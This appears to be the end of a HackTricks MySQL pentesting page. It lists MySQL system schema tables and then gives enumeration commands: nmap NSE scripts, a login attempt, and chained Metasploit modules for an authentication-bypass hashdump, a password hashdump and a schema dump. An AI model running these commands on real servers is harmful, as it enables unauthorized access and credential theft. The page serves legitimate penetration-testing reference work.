INNODB\_SYS\_VIRTUAL\
|
||
INNODB\_CMP\
|
||
INNODB\_FT\_BEING\_DELETED\
|
||
INNODB\_CMP\_RESET\
|
||
INNODB\_CMP\_PER\_INDEX\
|
||
INNODB\_CMPMEM\_RESET\
|
||
INNODB\_FT\_DELETED\
|
||
INNODB\_BUFFER\_PAGE\_LRU\
|
||
INNODB\_LOCK\_WAITS\
|
||
INNODB\_TEMP\_TABLE\_INFO\
|
||
INNODB\_SYS\_INDEXES\
|
||
INNODB\_SYS\_TABLES\
|
||
INNODB\_SYS\_FIELDS\
|
||
INNODB\_CMP\_PER\_INDEX\_RESET\
|
||
INNODB\_BUFFER\_PAGE\
|
||
INNODB\_FT\_DEFAULT\_STOPWORD\
|
||
INNODB\_FT\_INDEX\_TABLE\
|
||
INNODB\_FT\_INDEX\_CACHE\
|
||
INNODB\_SYS\_TABLESPACES\
|
||
INNODB\_METRICS\
|
||
INNODB\_SYS\_FOREIGN\_COLS\
|
||
INNODB\_CMPMEM\
|
||
INNODB\_BUFFER\_POOL\_STATS\
|
||
INNODB\_SYS\_COLUMNS\
|
||
INNODB\_SYS\_FOREIGN\
|
||
INNODB\_SYS\_TABLESTATS\
|
||
GEOMETRY\_COLUMNS\
|
||
SPATIAL\_REF\_SYS\
|
||
CLIENT\_STATISTICS\
|
||
INDEX\_STATISTICS\
|
||
USER\_STATISTICS\
|
||
INNODB\_MUTEXES\
|
||
TABLE\_STATISTICS\
|
||
INNODB\_TABLESPACES\_ENCRYPTION\
|
||
user\_variables\
|
||
INNODB\_TABLESPACES\_SCRUBBING\
|
||
INNODB\_SYS\_SEMAPHORE\_WAITS
|
||
{% endtab %}
|
||
|
||
{% tab title="mysql" %}
|
||
columns\_priv\
|
||
column\_stats\
|
||
db\
|
||
engine\_cost\
|
||
event\
|
||
func\
|
||
general\_log\
|
||
gtid\_executed\
|
||
gtid\_slave\_pos\
|
||
help\_category\
|
||
help\_keyword\
|
||
help\_relation\
|
||
help\_topic\
|
||
host\
|
||
index\_stats\
|
||
innodb\_index\_stats\
|
||
innodb\_table\_stats\
|
||
ndb\_binlog\_index\
|
||
plugin\
|
||
proc\
|
||
procs\_priv\
|
||
proxies\_priv\
|
||
roles\_mapping\
|
||
server\_cost\
|
||
servers\
|
||
slave\_master\_info\
|
||
slave\_relay\_log\_info\
|
||
slave\_worker\_info\
|
||
slow\_log\
|
||
tables\_priv\
|
||
table\_stats\
|
||
time\_zone\
|
||
time\_zone\_leap\_second\
|
||
time\_zone\_name\
|
||
time\_zone\_transition\
|
||
time\_zone\_transition\_type\
|
||
transaction\_registry\
|
||
user
|
||
{% endtab %}
|
||
|
||
{% tab title="performance_schema" %}
|
||
accounts\
|
||
cond\_instances\
|
||
events\_stages\_current\
|
||
events\_stages\_history\
|
||
events\_stages\_history\_long\
|
||
events\_stages\_summary\_by\_account\_by\_event\_name\
|
||
events\_stages\_summary\_by\_host\_by\_event\_name\
|
||
events\_stages\_summary\_by\_thread\_by\_event\_name\
|
||
events\_stages\_summary\_by\_user\_by\_event\_name\
|
||
events\_stages\_summary\_global\_by\_event\_name\
|
||
events\_statements\_current\
|
||
events\_statements\_history\
|
||
events\_statements\_history\_long\
|
||
events\_statements\_summary\_by\_account\_by\_event\_name\
|
||
events\_statements\_summary\_by\_digest\
|
||
events\_statements\_summary\_by\_host\_by\_event\_name\
|
||
events\_statements\_summary\_by\_program\
|
||
events\_statements\_summary\_by\_thread\_by\_event\_name\
|
||
events\_statements\_summary\_by\_user\_by\_event\_name\
|
||
events\_statements\_summary\_global\_by\_event\_name\
|
||
events\_transactions\_current\
|
||
events\_transactions\_history\
|
||
events\_transactions\_history\_long\
|
||
events\_transactions\_summary\_by\_account\_by\_event\_name\
|
||
events\_transactions\_summary\_by\_host\_by\_event\_name\
|
||
events\_transactions\_summary\_by\_thread\_by\_event\_name\
|
||
events\_transactions\_summary\_by\_user\_by\_event\_name\
|
||
events\_transactions\_summary\_global\_by\_event\_name\
|
||
events\_waits\_current\
|
||
events\_waits\_history\
|
||
events\_waits\_history\_long\
|
||
events\_waits\_summary\_by\_account\_by\_event\_name\
|
||
events\_waits\_summary\_by\_host\_by\_event\_name\
|
||
events\_waits\_summary\_by\_instance\
|
||
events\_waits\_summary\_by\_thread\_by\_event\_name\
|
||
events\_waits\_summary\_by\_user\_by\_event\_name\
|
||
events\_waits\_summary\_global\_by\_event\_name\
|
||
file\_instances\
|
||
file\_summary\_by\_event\_name\
|
||
file\_summary\_by\_instance\
|
||
global\_status\
|
||
global\_variables\
|
||
host\_cache\
|
||
hosts\
|
||
memory\_summary\_by\_account\_by\_event\_name\
|
||
memory\_summary\_by\_host\_by\_event\_name\
|
||
memory\_summary\_by\_thread\_by\_event\_name\
|
||
memory\_summary\_by\_user\_by\_event\_name\
|
||
memory\_summary\_global\_by\_event\_name\
|
||
metadata\_locks\
|
||
mutex\_instances\
|
||
objects\_summary\_global\_by\_type\
|
||
performance\_timers\
|
||
prepared\_statements\_instances\
|
||
replication\_applier\_configuration\
|
||
replication\_applier\_status\
|
||
replication\_applier\_status\_by\_coordinator\
|
||
replication\_applier\_status\_by\_worker\
|
||
replication\_connection\_configuration\
|
||
replication\_connection\_status\
|
||
replication\_group\_member\_stats\
|
||
replication\_group\_members\
|
||
rwlock\_instances\
|
||
session\_account\_connect\_attrs\
|
||
session\_connect\_attrs\
|
||
session\_status\
|
||
session\_variables\
|
||
setup\_actors\
|
||
setup\_consumers\
|
||
setup\_instruments\
|
||
setup\_objects\
|
||
setup\_timers\
|
||
socket\_instances\
|
||
socket\_summary\_by\_event\_name\
|
||
socket\_summary\_by\_instance\
|
||
status\_by\_account\
|
||
status\_by\_host\
|
||
status\_by\_thread\
|
||
status\_by\_user\
|
||
table\_handles\
|
||
table\_io\_waits\_summary\_by\_index\_usage\
|
||
table\_io\_waits\_summary\_by\_table\
|
||
table\_lock\_waits\_summary\_by\_table\
|
||
threads\
|
||
user\_variables\_by\_thread\
|
||
users\
|
||
variables\_by\_thread
|
||
{% endtab %}
|
||
|
||
{% tab title="sys" %}
|
||
host\_summary\
|
||
host\_summary\_by\_file\_io\
|
||
host\_summary\_by\_file\_io\_type\
|
||
host\_summary\_by\_stages\
|
||
host\_summary\_by\_statement\_latency\
|
||
host\_summary\_by\_statement\_type\
|
||
innodb\_buffer\_stats\_by\_schema\
|
||
innodb\_buffer\_stats\_by\_table\
|
||
innodb\_lock\_waits\
|
||
io\_by\_thread\_by\_latency\
|
||
io\_global\_by\_file\_by\_bytes\
|
||
io\_global\_by\_file\_by\_latency\
|
||
io\_global\_by\_wait\_by\_bytes\
|
||
io\_global\_by\_wait\_by\_latency\
|
||
latest\_file\_io\
|
||
memory\_by\_host\_by\_current\_bytes\
|
||
memory\_by\_thread\_by\_current\_bytes\
|
||
memory\_by\_user\_by\_current\_bytes\
|
||
memory\_global\_by\_current\_bytes\
|
||
memory\_global\_total\
|
||
metrics\
|
||
processlist\
|
||
ps\_check\_lost\_instrumentation\
|
||
schema\_auto\_increment\_columns\
|
||
schema\_index\_statistics\
|
||
schema\_object\_overview\
|
||
schema\_redundant\_indexes\
|
||
schema\_table\_lock\_waits\
|
||
schema\_table\_statistics\
|
||
schema\_table\_statistics\_with\_buffer\
|
||
schema\_tables\_with\_full\_table\_scans\
|
||
schema\_unused\_indexes\
|
||
session\
|
||
session\_ssl\_status\
|
||
statement\_analysis\
|
||
statements\_with\_errors\_or\_warnings\
|
||
statements\_with\_full\_table\_scans\
|
||
statements\_with\_runtimes\_in\_95th\_percentile\
|
||
statements\_with\_sorting\
|
||
statements\_with\_temp\_tables\
|
||
sys\_config\
|
||
user\_summary\
|
||
user\_summary\_by\_file\_io\
|
||
user\_summary\_by\_file\_io\_type\
|
||
user\_summary\_by\_stages\
|
||
user\_summary\_by\_statement\_latency\
|
||
user\_summary\_by\_statement\_type\
|
||
version\
|
||
wait\_classes\_global\_by\_avg\_latency\
|
||
wait\_classes\_global\_by\_latency\
|
||
waits\_by\_host\_by\_latency\
|
||
waits\_by\_user\_by\_latency\
|
||
waits\_global\_by\_latency\
|
||
x$host\_summary\
|
||
x$host\_summary\_by\_file\_io\
|
||
x$host\_summary\_by\_file\_io\_type\
|
||
x$host\_summary\_by\_stages\
|
||
x$host\_summary\_by\_statement\_latency\
|
||
x$host\_summary\_by\_statement\_type\
|
||
x$innodb\_buffer\_stats\_by\_schema\
|
||
x$innodb\_buffer\_stats\_by\_table\
|
||
x$innodb\_lock\_waits\
|
||
x$io\_by\_thread\_by\_latency\
|
||
x$io\_global\_by\_file\_by\_bytes\
|
||
x$io\_global\_by\_file\_by\_latency\
|
||
x$io\_global\_by\_wait\_by\_bytes\
|
||
x$io\_global\_by\_wait\_by\_latency\
|
||
x$latest\_file\_io\
|
||
x$memory\_by\_host\_by\_current\_bytes\
|
||
x$memory\_by\_thread\_by\_current\_bytes\
|
||
x$memory\_by\_user\_by\_current\_bytes\
|
||
x$memory\_global\_by\_current\_bytes\
|
||
x$memory\_global\_total\
|
||
x$processlist\
|
||
x$ps\_digest\_95th\_percentile\_by\_avg\_us\
|
||
x$ps\_digest\_avg\_latency\_distribution\
|
||
x$ps\_schema\_table\_statistics\_io\
|
||
x$schema\_flattened\_keys\
|
||
x$schema\_index\_statistics\
|
||
x$schema\_table\_lock\_waits\
|
||
x$schema\_table\_statistics\
|
||
x$schema\_table\_statistics\_with\_buffer\
|
||
x$schema\_tables\_with\_full\_table\_scans\
|
||
x$session\
|
||
x$statement\_analysis\
|
||
x$statements\_with\_errors\_or\_warnings\
|
||
x$statements\_with\_full\_table\_scans\
|
||
x$statements\_with\_runtimes\_in\_95th\_percentile\
|
||
x$statements\_with\_sorting\
|
||
x$statements\_with\_temp\_tables\
|
||
x$user\_summary\
|
||
x$user\_summary\_by\_file\_io\
|
||
x$user\_summary\_by\_file\_io\_type\
|
||
x$user\_summary\_by\_stages\
|
||
x$user\_summary\_by\_statement\_latency\
|
||
x$user\_summary\_by\_statement\_type\
|
||
x$wait\_classes\_global\_by\_avg\_latency\
|
||
x$wait\_classes\_global\_by\_latency\
|
||
x$waits\_by\_host\_by\_latency\
|
||
x$waits\_by\_user\_by\_latency\
|
||
x$waits\_global\_by\_latency
|
||
```
|
||
Protocol_Name: MySql #Protocol Abbreviation if there is one.
|
||
Port_Number: 3306 #Comma separated if there is more than one.
|
||
Protocol_Description: MySql #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for MySql
|
||
Note: |
|
||
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-mysql
|
||
|
||
Entry_2:
|
||
Name: Nmap
|
||
Description: Nmap with MySql Scripts
|
||
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
|
||
|
||
Entry_3:
|
||
Name: MySql
|
||
Description: Attempt to connect to mysql server
|
||
Command: mysql -h {IP} -u {Username}@localhost
|
||
|
||
Entry_4:
|
||
Name: MySql consolesless mfs enumeration
|
||
Description: MySql enumeration without the need to run msfconsole
|
||
Note: sourced from https://github.com/carlospolop/legion
|
||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||
|
||
```
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा कार्यक्रम है और यूरोप में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** की मिशन के साथ, यह सम्मेलन प्रौद्योगिकी और साइबर सुरक्षा के विशेषज्ञों के लिए एक उबलता हुआ मिलन स्थान है।
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **अपने हैकिंग ट्रिक्स को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके साझा करें।**
|
||
|
||
</details>
|